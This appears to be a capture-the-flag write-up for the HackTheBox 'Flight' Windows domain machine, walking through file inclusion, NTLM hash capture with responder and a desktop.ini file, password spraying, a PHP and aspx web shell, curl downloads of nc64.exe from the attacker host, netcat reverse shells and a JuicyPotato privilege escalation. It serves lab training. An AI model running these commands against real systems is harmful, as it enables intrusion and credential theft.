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HackTheBox/Flight.md
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# HackTheBox - Flight
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## NMAP
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```bash
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Nmap scan report for 10.10.11.187
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Host is up (0.28s latency).
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Not shown: 65516 filtered tcp ports (no-response)
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PORT STATE SERVICE VERSION
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53/tcp open domain Simple DNS Plus
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80/tcp open http Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
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| http-methods:
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| Supported Methods: POST OPTIONS HEAD GET TRACE
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|_ Potentially risky methods: TRACE
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|_http-server-header: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1
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|_http-title: g0 Aviation
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88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-12-17 00:13:14Z)
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135/tcp open msrpc Microsoft Windows RPC
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139/tcp open netbios-ssn Microsoft Windows netbios-ssn
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389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: flight.htb0., Site: Default-First-Site-Name)
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445/tcp open microsoft-ds?
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464/tcp open kpasswd5?
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593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
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636/tcp open tcpwrapped
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3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: flight.htb0., Site: Default-First-Site-Name)
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3269/tcp open tcpwrapped
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5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
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|_http-server-header: Microsoft-HTTPAPI/2.0
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|_http-title: Not Found
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9389/tcp open mc-nmf .NET Message Framing
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49667/tcp open msrpc Microsoft Windows RPC
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49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
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49674/tcp open msrpc Microsoft Windows RPC
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49690/tcp open msrpc Microsoft Windows RPC
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49699/tcp open msrpc Microsoft Windows RPC
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Service Info: Host: G0; OS: Windows; CPE: cpe:/o:microsoft:windows
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```
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## PORT 139/445 (SMB)
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Checking null authentication on SMB shows that we can't access any share through anonmyously
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<img src="https://i.imgur.com/vtOncKe.png"/>
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## PORT 80 (HTTP)
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<img src="https://i.imgur.com/8ccuI6h.png"/>
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The site didn't had anything there as it was just a page with no links also `gobuster` didn't showed anything interesting to as well
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<img src="https://i.imgur.com/va9V6Uh.png"/>
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So adding `flight.htb` in `/etc/hosts` file as we can see the domain name at the bottom of the page
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<img src="https://i.imgur.com/LJ2UM2Z.png"/>
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<img src="https://i.imgur.com/tUiLVcp.png"/>
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Fuzzing for subdomains using `wfuzz`
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```bash
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wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u 'http://flight.htb' -H "Host: FUZZ.flight.htb" --hh 7069
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```
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<img src="https://i.imgur.com/p6r2VtD.png"/>
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Adding this subdomain in hosts file and accessing the site
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<img src="https://i.imgur.com/MkiUFyW.png"/>
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<img src="https://i.imgur.com/QUJXoxu.png"/>
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Checking for Local File Inclusion it filters `..` if it's in the url but allows `/`
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<img src="https://i.imgur.com/sxhcQ1Y.png"/>
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<img src="https://i.imgur.com/Mfn8VrC.png"/>
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## Svc_apache
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Running `wfuzz` again to fuzz for LFI payloads we find that we can just specify a file name without using `..`
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<img src="https://i.imgur.com/QpRyOlh.png"/>
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<img src="https://i.imgur.com/r3e6K8Z.png"/>
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Let's verify if we have remote file inclusion if we do we can just try accessing a fake share on our machine and use `responder` to capture NTLMv2 hash
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<img src="https://i.imgur.com/Efv3OXq.png"/>
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<img src="https://i.imgur.com/QNZfpDs.png"/>
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We have a hit so now running responder and accessing a fake share with `//IP/share`
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```bash
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responder -I tun0
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```
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<img src="https://i.imgur.com/w2otusT.png"/>
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```bash
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http://school.flight.htb/index.php?view=//10.10.14.28/uwu
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```
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<img src="https://i.imgur.com/DFrZUfL.png"/>
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Saving this hash in a file cracking it with `john`
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```bash
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john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
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```
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<img src="https://i.imgur.com/3xxMhYJ.png"/>
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With the valid credentials we can start enumerating the shares and usernames through `crackmapexec`
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<img src="https://i.imgur.com/MlDZ7Ix.png"/>
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Using `enum4linux` to query usernames and filtering usernames so that we can password spray on them
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```bash
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enum4linux-ng -A flight.htb -u 'svc_apache' -p 'S@Ss!K@*t13' | grep username | awk -F : {'print $2'} > users.txt
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```
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<img src="https://i.imgur.com/45qCJWe.png"/>
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## S.moon
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Using either cme or kerbrute to perform password spary we'll get `S.Moon` having the same password
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```bash
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kerbrute passwordspray -d flight.htb --dc 10.10.11.187 ./users.txt 'S@Ss!K@*t13'
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```
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<img src="https://i.imgur.com/gaotp0Q.png"/>
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```bash
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cme smb flight.htb -u users.txt -p 'S@Ss!K@*t13' --continue-on-success
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```
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<img src="https://i.imgur.com/svRtQ3C.png"/>
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Checking shares with s.moon, we see that we have write access on `shared`
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<img src="https://i.imgur.com/ZMVtFmX.png"/>
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## C.bum
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On uploading `.scf ` file extension to perform forced authentication it didn't allowed us to upload that extension, not sure why
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<img src="https://i.imgur.com/kvgRGyn.png"/>
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But on uploading `desktop.ini` file it worked
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```bash
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[.ShellClassInfo]
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IconResource=\\10.10.14.28\aa
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```
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<img src="https://i.imgur.com/7z2Bj1F.png"/>
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Cracking this hash again with john
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<img src="https://i.imgur.com/BtLOQUG.png"/>
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## Foothold
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This user has write access on `web` share which means that we can upload php file which will be reflected on schooled.flight.htb
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<img src="https://i.imgur.com/B854BMb.png"/>
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Uploading a php file calling `phpinfo()`
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```php
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<?php phpinfo(); ?>
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```
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<img src="https://i.imgur.com/lSxOpDk.png"/>
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<img src="https://i.imgur.com/tN4sfft.png"/>
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<img src="https://i.imgur.com/fqblot6.png"/>
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Having the ability to execute commands on the system we can try getting a reverse shell by uploading nc.exe and executing it
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```bash
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http://school.flight.htb/uwu.php?cmd=curl+10.10.14.28:2222/nc64.exe -o C:\Windows\Temp\nc64.exe
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http://school.flight.htb/uwu.php?cmd=C:\Windows\Temp\nc64.exe 10.10.14.28 3333 -e powershell.exe
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```
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<img src="https://i.imgur.com/kvWwE3b.png"/>
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Since we already have credentials of `c.bum` we can execute commands through that user using `RunasC.exe`
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<img src="https://i.imgur.com/mevnft1.png"/>
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```powershell
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.\RunasCs.exe c.bum Tikkycoll_431012284 whoami
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```
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<img src="https://i.imgur.com/kOnEou7.png"/>
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This user has full access on `C:\inetpub\Development`
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<img src="https://i.imgur.com/H0s2gRQ.png"/>
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These files are being hosted on port 8000, to access these files we need to port forward port 8000 using `chisel`
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Runnnig the server on our machine
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```bash
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chisel server --reverse -p 8001
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```
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And running the client on the target machine
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```powershell
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.\chisel.exe client 10.10.14.28:8001 R:8000:127.0.0.1:8000
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```
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<img src="https://i.imgur.com/IGEHaoC.png"/>
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Now transferring the aspx web shell in the development directory
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```
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.\RunasCs.exe c.bum Tikkycoll_431012284 'curl 10.10.14.28:2222/aspx_shell.aspx -o C:\inetpub\Development\shell.aspx'
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```
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Accessing the file through the browser
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<img src="https://i.imgur.com/pPW6xXv.png"/>
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I tried executing nc.exe to get a reverse shell but it wasn't for some reason so instead I generated a msfvenom payload
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<img src="https://i.imgur.com/o9UGgzz.png"/>
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Transfer it and execute it
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<img src="https://i.imgur.com/5ipfRDG.png"/>
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<img src="https://i.imgur.com/XSciDMW.png"/>
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Checking privileges of `IIS appool`, it as `SeImpersonate` privilege enabled
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<img src="https://i.imgur.com/K8jYNpK.png"/>
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To abuse this, we can use `JuicyPotato-ng` to get a system shell
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```
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.\potatoe.exe -t * -p "C:\Windows\system32\cmd.exe" -a "/c C:\Windows\Temp\nc.exe 10.10.14.28 6666 -e cmd.exe"
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```
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<img src="https://i.imgur.com/v1l8N7U.png"/>
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<img src="https://i.imgur.com/TjBCxv6.png"/>
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## References
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- https://book.hacktricks.xyz/pentesting-web/file-inclusion
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- https://book.hacktricks.xyz/windows-hardening/ntlm/places-to-steal-ntlm-creds
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- https://github.com/Greenwolf/ntlm_theft
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- https://github.com/antonioCoco/RunasCs
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